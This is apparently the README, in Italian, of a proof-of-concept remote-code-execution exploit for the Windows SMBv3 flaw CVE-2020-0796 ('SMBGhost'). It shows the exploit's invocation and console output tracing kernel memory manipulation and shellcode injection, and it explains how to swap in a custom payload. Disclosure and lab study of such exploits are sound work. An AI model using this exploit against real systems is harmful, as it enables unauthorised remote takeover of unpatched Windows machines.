
PoC di RCE per CVE-2020-0796 "SMBGhost"
Solo a scopo dimostrativo! Usalo solo come riferimento. Sul serio. Non è stato testato al di fuori del mio ambiente di laboratorio. È stato scritto in fretta e ha bisogno di qualche miglioramento per essere più affidabile. A volte provoca un BSOD. Usarlo per qualsiasi scopo diverso dall'autodidattica è un'idea estremamente brutta. Il tuo computer prenderà fuoco. I cuccioli moriranno.
Ora che abbiamo chiarito questo....
Esempio di utilizzo:
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
Sostituisci il payload in USER_PAYLOAD in exploit.py. Massimo 600 byte. Se ne vuoi di più, modifica tu stesso il kernel shell code.
Codice lznt1 da qui. Modificato per aggiungere una funzione di "bad compression" per corrompere l'header del buffer SRVNET senza causare un crash.